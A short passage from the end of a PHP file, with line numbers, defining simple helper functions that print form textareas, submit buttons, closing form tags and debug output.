4148 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
4149
4150}
4151
4152
4153
4154function formfooter($name = ''){
4155
4156 !$name && $name = 'submit';
4157
4158 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
4159
4160 p('</form>');
4161
4162}
4163
4164
4165
4166function formfoot(){
4167
4168 p('</form>');
4169
4170}
4171
4172function pr($a) {
4173
4174 echo '<pre>';
4175
4176 print_r($a);
4177
4178 echo '</pre>';
4179
4180}
4181?>